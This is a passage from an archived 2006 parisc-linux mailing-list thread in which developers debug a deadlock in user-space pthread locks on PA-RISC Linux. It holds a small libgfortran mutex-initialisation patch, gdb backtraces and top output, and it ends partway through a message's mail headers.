@@ -376,7 +376,16 @@
     }

   memset (iunit, '\0', sizeof (gfc_unit));
+#ifdef __GTHREAD_MUTEX_INIT
+  {
+    __gthread_mutex_t tmp = __GTHREAD_MUTEX_INIT;
+    iunit->lock = tmp;
+  }
+#else
+  __GTHREAD_MUTEX_INIT_FUNCTION (&iunit->lock);
+#endif

+
   iunit->recl = dtp->internal_unit_len;

   /* For internal units we set the unit number to -1.

Please verify.

Cheers,
Carlos.


Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] User space locks -- what's wrong
Date: Sun, 11 Jun 2006 17:56:56 -0400 (EDT)
Lines: 66
Approved: news@gmane.org
Message-ID: <200606112156.k5BLuvQe011929@hiauly1.hia.nrc.ca>
References: <119aab440606061830peac8e3ah7030b831881e6f76@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624107 19894 80.91.229.3 (22 Nov 2014 02:41:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Jun 2006 21:57:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 11 Jun 2006 23:57:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EBF217D693;
	Sun, 11 Jun 2006 15:57:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22386-07; Sun, 11 Jun 2006 15:57:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 72AE97D695;
	Sun, 11 Jun 2006 15:57:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0EC977D68F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 15:57:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22386-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 15:57:00 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id E3C347D68E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 15:56:59 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k5BLuweo011931;
	Sun, 11 Jun 2006 17:56:58 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k5BLuvQe011929;
	Sun, 11 Jun 2006 17:56:57 -0400 (EDT)
In-Reply-To: <119aab440606061830peac8e3ah7030b831881e6f76@mail.gmail.com> from
	"Carlos O'Donell" at Jun 6, 2006 09:30:05 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iai0cTxObmw7vq2HZzdL8itHUzc4cpGM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23743

> You've implemented almost exactly what glibc does for pthreads.
> However, glibc uses nanosleep without any adverse effects.

Are you sure?  The libgomp test libgomp.fortran/reduction6.f90
times out.  It's using pthread_mutex_lock and pthread_mutex_unlock
for locking (there's no futex implementation for parisc-linux).

I see with top:

top - 13:30:57 up 7 days, 22:52,  3 users,  load average: 0.00, 0.00, 0.00
Tasks:  73 total,   1 running,  72 sleeping,   0 stopped,   0 zombie
Cpu(s):  0.2% us,  0.3% sy,  0.0% ni, 99.3% id,  0.2% wa,  0.0% hi,  0.0% si
Mem:   8227376k total,  8025664k used,   201712k free,   489404k buffers
Swap:  1367032k total,        0k used,  1367032k free,  3775216k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND

 ...
 7430 dave      15   0  8076  988  768 S    0  0.0   0:00.05 reduction6.xg
 7431 dave      16   0  8076  988  768 S    0  0.0   0:00.00 reduction6.xg
 7432 dave      19   0  8076  988  768 S    0  0.0   0:00.00 reduction6.xg
 7433 dave      20   0  8076  988  768 S    0  0.0   0:00.00 reduction6.xg
 ...

strace indicates that the reduction6.xg processes are mainly calling
sched_yield(), and occassionally nanosleep().

The program doesn't timeout under hpux.  I killed the program after 50m
on linux.  It appears that we are deadlocking on linux.  The time on
a relatively slow hpux system is:

# time ./reduction6.xg

real    0m0.047s
user    0m0.030s
sys     0m0.010s

It appears that the hpux built application never sleeps or calls
sched_yield.  Under linux, I see after running a bit the following
backtrace in nanosleep:

Program received signal SIGINT, Interrupt.
0x00032310 in nanosleep ()
(gdb) bt
#0  0x00032310 in nanosleep ()
#1  0x0003189c in __pthread_acquire (spinlock=0x191030) at spinlock.c:716
#2  0x000319d4 in __pthread_alt_unlock (lock=0xbff00d4c) at spinlock.c:527
#3  0x0002ef18 in __pthread_mutex_unlock (mutex=<value optimized out>)
    at mutex.c:199
#4  0x00015388 in *_gfortran_st_write_done (dtp=0xbff00aa8)
    at ../../../gcc/libgfortran/io/transfer.c:2424
#5  0x000105ac in MAIN__ ()
    at /home/dave/gcc-4.2/gcc/libgomp/testsuite/libgomp.fortran/reduction6.f90:10
#6  0x00011e58 in main (argc=<value optimized out>, argv=<value optimized out>)
    at ../../../gcc/libgfortran/fmain.c:18

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] User space locks -- what's wrong
Date: Sun, 11 Jun 2006 23:03:57 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <200606120303.k5C33wIi002802@hiauly1.hia.nrc.ca>
References: <119aab440606111942o1be5e11bw6ede4fa941f01778@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624107 19896 80.91.229.3 (22 Nov 2014 02:41:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jun 2006 03:04:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx090) with SMTP; 12 Jun 2006 05:04:08 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C7FC07D6F7;
	Sun, 11 Jun 2006 21:04:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26132-05; Sun, 11 Jun 2006 21:04:04 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 27BF37D6ED;
	Sun, 11 Jun 2006 21:04:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 191677D6E2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 21:04:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26105-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 21:04:00 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 056227D6D4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 21:03:59 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k5C33wwi002803;
	Sun, 11 Jun 2006 23:03:59 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k5C33wIi002802;
	Sun, 11 Jun 2006 23:03:58 -0400 (EDT)
In-Reply-To: <119aab440606111942o1be5e11bw6ede4fa941f01778@mail.gmail.com>
	from "Carlos O'Donell" at Jun 11, 2006 10:42:09 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: nOu+d84LPTRt7OjGPjIwL1Exc2tpZMsS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23744

> However, the mutex objects look like they are being cached? There
> could be a scenario where an allocated and locked mutex is put back in
> the cache, such a mutex cannot be cleaned without resetting with
> __PTHREAD_MUTEX_INITIALIZER.

Hmmm, that reminds me that there is this config variable in configure.host,
'slow_pthread_self'.

#   slow_pthread_self   The synchronization code should try to avoid
#                       pthread_self calls by caching thread IDs in a hashtable

There's also 'enable_hash_synchronization_default'.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] User space locks -- what's wrong
Date: Sun, 11 Jun 2006 23:09:42 -0400
Lines: 47
Approved: news@gmane.org
Message-ID: <119aab440606112009k2ac16f20l1fa30c694b0f9c3b@mail.gmail.com>
References: <119aab440606111734j3226f013l78e4c2fa22c08709@mail.gmail.com>
	<200606120155.k5C1tiwb028878@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624107 19897 80.91.229.3 (22 Nov 2014 02:41:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jun 2006 03:09:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 12 Jun 2006 05:09:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D74277D6F7;
	Sun, 11 Jun 2006 21:09:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26477-01; Sun, 11 Jun 2006 21:09:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E45C7D6F9;
	Sun, 11 Jun 2006 21:09:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9FC5B7D6E6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 21:09:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26132-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 21:09:43 -0600 (MDT)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.232])
	by free.linux.hp.com (Postfix) with ESMTP id 952787D6D4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 21:09:43 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id 69so1191005wri
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 20:09:43 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=siiCttu+1heZ/RghH0QRPdTWvQC6oi7CVi/pIf64Q22Gk7pQ3jMAkyh/rokWSmKEZhWbiLMz87nVnBgs0oAgnV3XLn9cDlvVALaUv1gssNxPPjHTdnL7q2riHPmBtqfBQdJ9EDj4WTRfgI0euxz+rIPUJikasqHm1F0AbBQHk1o=
Original-Received: by 10.54.103.13 with SMTP id a13mr1835837wrc;
	Sun, 11 Jun 2006 20:09:42 -0700 (PDT)
Original-Received: by 10.54.128.12 with HTTP; Sun, 11 Jun 2006 20:09:42 -0700 (PDT)
In-Reply-To: <200606120155.k5C1tiwb028878@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: a8ff67f655439d08
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OOm/cJd1X1Vp6uuYY2FyQVN3SDc4NMwk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23745

On 6/11/06, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> (gdb) bt
> #0  0x4005e1f4 in nanosleep () from /lib/libpthread.so.0
> #1  0x40059270 in __pthread_timedsuspend_new () from /lib/libpthread.so.0
> #2  0x40056414 in pthread_cond_timedwait@GLIBC_2.2 () from /lib/libpthread.so.0
> #3  0x41872de8 in _Jv_CondWait (cv=0x402bde20, mu=0x402bde30,
>     millis=<value optimized out>, nanos=0)
>     at ../../../gcc/libjava/posix-threads.cc:169
> #4  0x4185f3d0 in java::lang::Object::wait (this=0x0, timeout=1000, nanos=0)
>     at ../../../gcc/libjava/java/lang/natObject.cc:1333
> #5  0x4184a48c in java.lang.Object.wait(long)void (this=0x432fd9d0,
>     timeout=35486947928) at ../../../gcc/libjava/java/lang/Object.java:449
> #6  0x41c97ee0 in java.lang.ConcreteProcess$ProcessManager.run()void (
>     this=0x40536f50) at ConcreteProcess.java:142
> #7  0x41864104 in _Jv_ThreadRun (thread=0x40536f50)
>     at ../../../gcc/libjava/java/lang/natThread.cc:302
> #8  0x41872770 in really_start (x=0x401d9830)
>     at ../../../gcc/libjava/posix-threads.cc:432
> #9  0x424d93e0 in GC_start_routine (arg=0x401f6e80)
>     at ../../../gcc/boehm-gc/pthread_support.c:1191
> #10 0x40057498 in pthread_start_thread () from /lib/libpthread.so.0
> #11 0x40933754 in clone () from /lib/libc.so.6
> #12 0x40933754 in clone () from /lib/libc.so.6
> Previous frame identical to this frame (corrupt stack?)

The code in __pthread_timedsuspend_new is *very* signal sensitive.
It masks all signals except the restart signal. If this signal is missed, then
the restart never happens.

   1377       /* Sleep for the required duration. If woken by a signal,
   1378          resume waiting as required by Single Unix Specification.  */
   1379       if (reltime.tv_sec < 0 || __libc_nanosleep(&reltime, NULL) == 0)
   1380         break;
   1381     }

It may be that the kernel timer routines are rounding, and we never
finish off that last little bit of time? If you debug this again, it
would be nice to see what the sleep times are in those variables?

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] User space locks -- what's wrong
Date: Sun, 11 Jun 2006 23:13:33 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <119aab440606112013s71bc1daen46041756ce843d14@mail.gmail.com>
References: <119aab440606111942o1be5e11bw6ede4fa941f01778@mail.gmail.com>
	<200606120303.k5C33wIi002802@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624108 19900 80.91.229.3 (22 Nov 2014 02:41:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jun 2006 03:13:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx090) with SMTP; 12 Jun 2006 05:13:41 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 97ED77D718;
	Sun, 11 Jun 2006 21:13:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26477-08; Sun, 11 Jun 2006 21:13:38 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 098F07D71B;
	Sun, 11 Jun 2006 21:13:37 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B1BC7D716
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 21:13:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26443-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 21:13:34 -0600 (MDT)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.233])
	by free.linux.hp.com (Postfix) with ESMTP id 1234C7D70F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 21:13:34 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id 69so1191377wri
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jun 2006 20:13:33 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=h0ex6m2S4NDMTu5DsWvh4qvsLFN0lNp5d3kqLSIr64oMNWaHYJpuRX4T19wW+1U4e74qmym2Nyu8BFePCn7pJT3MO/lgQ733btEzqEFi1eCc0Gr/ak75uOPv5aj7M+qPjc25zqDslwE8ynRWN02FM4UVJSzJowcQ1jpl+8y3+hg=
Original-Received: by 10.54.101.14 with SMTP id y14mr4956237wrb;
	Sun, 11 Jun 2006 20:13:33 -0700 (PDT)
Original-Received: by 10.54.128.12 with HTTP; Sun, 11 Jun 2006 20:13:33 -0700 (PDT)
In-Reply-To: <200606120303.k5C33wIi002802@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 4b446e879e972b17
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: -1 (Rule filter: cannot read data from Antispam service)
X-GMX-UID: iLL5dzQIODBpsLWUfGRMEik1Ji9SWhKw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23746

On 6/11/06, John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> > However, the mutex objects look like they are being cached? There
> > could be a scenario where an allocated and locked mutex is put back in
> > the cache, such a mutex cannot be cleaned without resetting with
> > __PTHREAD_MUTEX_INITIALIZER.
>
> Hmmm, that reminds me that there is this config variable in configure.host,
> 'slow_pthread_self'.
>
> #   slow_pthread_self   The synchronization code should try to avoid
> #                       pthread_self calls by caching thread IDs in a hashtable
>
> There's also 'enable_hash_synchronization_default'.

Reading the thread register is a single mfctl, I don't know if that is
considered slow?

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] User space locks -- what's wrong
Date: Sun, 11 Jun 2006 23:19:34 -0400 (EDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <200606120319.k5C3JZXj004098@hiauly1.hia.nrc.ca>
References: <119aab440606112013s71bc1daen46041756ce843d14@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624108 19904 80.91.229.3 (22 Nov 2014 02:41:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jun 2006 03:19:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx021) with SMTP; 12 Jun 2006 05:19:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 408327D754;
	Sun, 11 Jun 2006 21:19:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
